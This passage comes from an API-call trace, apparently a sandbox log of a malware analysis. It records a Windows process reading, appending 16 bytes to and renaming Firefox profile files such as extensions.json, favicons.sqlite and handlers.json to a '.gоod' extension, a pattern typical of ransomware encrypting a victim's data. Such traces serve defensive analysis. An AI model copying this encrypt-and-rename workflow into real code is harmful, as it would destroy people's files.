(normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite.gоod")) returned 1 [0268.343] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", lpFilePart=0x0) returned 0x59 [0268.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0268.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x3afcc08 | out: lpFileInformation=0x3afcc08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe967070, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe967070, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe967070, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x292e)) returned 1 [0268.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0268.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", lpFilePart=0x0) returned 0x59 [0268.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0268.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0268.344] GetFileType (hFile=0x85c) returned 0x1 [0268.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0268.344] GetFileType (hFile=0x85c) returned 0x1 [0268.344] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0268.344] ReadFile (in: hFile=0x85c, lpBuffer=0x3afd070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x3afd070*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0268.345] CloseHandle (hObject=0x85c) returned 1 [0268.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", lpFilePart=0x0) returned 0x59 [0268.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0268.346] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0268.346] GetFileType (hFile=0x85c) returned 0x1 [0268.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0268.346] GetFileType (hFile=0x85c) returned 0x1 [0268.346] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x292e [0268.346] WriteFile (in: hFile=0x85c, lpBuffer=0x3afe370*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x3afe370*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0268.347] CloseHandle (hObject=0x85c) returned 1 [0268.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", lpFilePart=0x0) returned 0x59 [0268.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0268.347] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0268.347] GetFileType (hFile=0x85c) returned 0x1 [0268.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0268.348] GetFileType (hFile=0x85c) returned 0x1 [0268.348] ReadFile (in: hFile=0x85c, lpBuffer=0x3b006d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x3b006d8*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0268.427] CloseHandle (hObject=0x85c) returned 1 [0268.427] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", lpFilePart=0x0) returned 0x59 [0268.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0268.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0268.427] GetFileType (hFile=0x85c) returned 0x1 [0268.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0268.427] GetFileType (hFile=0x85c) returned 0x1 [0268.427] WriteFile (in: hFile=0x85c, lpBuffer=0x3950bb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3950bb0*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0268.428] CloseHandle (hObject=0x85c) returned 1 [0268.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", lpFilePart=0x0) returned 0x59 [0268.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.gоod", lpFilePart=0x0) returned 0x5e [0268.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0268.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe967070, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe967070, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9c34bd27, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x293e)) returned 1 [0268.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0268.428] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json.gоod")) returned 1 [0268.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", lpFilePart=0x0) returned 0x59 [0268.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0268.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x39928e8 | out: lpFileInformation=0x39928e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x145311ab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x500000)) returned 1 [0268.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0268.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", lpFilePart=0x0) returned 0x59 [0268.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0268.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0268.430] GetFileType (hFile=0x85c) returned 0x1 [0268.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0268.430] GetFileType (hFile=0x85c) returned 0x1 [0268.430] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0268.430] ReadFile (in: hFile=0x85c, lpBuffer=0x3992d50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x3992d50*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0268.431] CloseHandle (hObject=0x85c) returned 1 [0268.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", lpFilePart=0x0) returned 0x59 [0268.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0268.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0268.440] GetFileType (hFile=0x85c) returned 0x1 [0268.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0268.440] GetFileType (hFile=0x85c) returned 0x1 [0268.440] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x500000 [0268.440] WriteFile (in: hFile=0x85c, lpBuffer=0x3994010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x3994010*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0269.393] CloseHandle (hObject=0x85c) returned 1 [0269.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", lpFilePart=0x0) returned 0x59 [0269.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.393] GetFileType (hFile=0x85c) returned 0x1 [0269.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.393] GetFileType (hFile=0x85c) returned 0x1 [0269.393] ReadFile (in: hFile=0x85c, lpBuffer=0x3837ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x3837ca8*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0269.420] CloseHandle (hObject=0x85c) returned 1 [0269.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", lpFilePart=0x0) returned 0x59 [0269.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0269.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.421] GetFileType (hFile=0x85c) returned 0x1 [0269.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0269.421] GetFileType (hFile=0x85c) returned 0x1 [0269.421] WriteFile (in: hFile=0x85c, lpBuffer=0x38369d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x38369d8*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0269.421] CloseHandle (hObject=0x85c) returned 1 [0269.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", lpFilePart=0x0) returned 0x59 [0269.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.gоod", lpFilePart=0x0) returned 0x5e [0269.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0269.421] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9ccc1b71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x500010)) returned 1 [0269.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0269.421] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite.gоod")) returned 1 [0269.422] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", lpFilePart=0x0) returned 0x57 [0269.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0269.422] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), fInfoLevelId=0x0, lpFileInformation=0x38b6ea0 | out: lpFileInformation=0x38b6ea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edfb3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2edfb3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2ee0ebb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2ab)) returned 1 [0269.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0269.425] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", lpFilePart=0x0) returned 0x57 [0269.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0269.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.425] GetFileType (hFile=0x85c) returned 0x1 [0269.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0269.425] GetFileType (hFile=0x85c) returned 0x1 [0269.425] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x2ab [0269.425] ReadFile (in: hFile=0x85c, lpBuffer=0x38b7438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x38b7438*, lpNumberOfBytesRead=0x204eb8c8*=0x2ab, lpOverlapped=0x0) returned 1 [0269.514] CloseHandle (hObject=0x85c) returned 1 [0269.541] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", lpFilePart=0x0) returned 0x57 [0269.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0269.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0269.541] GetFileType (hFile=0x85c) returned 0x1 [0269.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0269.541] GetFileType (hFile=0x85c) returned 0x1 [0269.541] WriteFile (in: hFile=0x85c, lpBuffer=0x3847bc8*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x204eb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3847bc8*, lpNumberOfBytesWritten=0x204eb7d8*=0x2b0, lpOverlapped=0x0) returned 1 [0269.542] CloseHandle (hObject=0x85c) returned 1 [0269.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", lpFilePart=0x0) returned 0x57 [0269.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.gоod", lpFilePart=0x0) returned 0x5c [0269.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0269.542] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edfb3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2edfb3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9cdf2dfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b0)) returned 1 [0269.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0269.542] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json.gоod")) returned 1 [0269.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", lpFilePart=0x0) returned 0x51 [0269.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0269.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), fInfoLevelId=0x0, lpFileInformation=0x3848eb8 | out: lpFileInformation=0x3848eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, 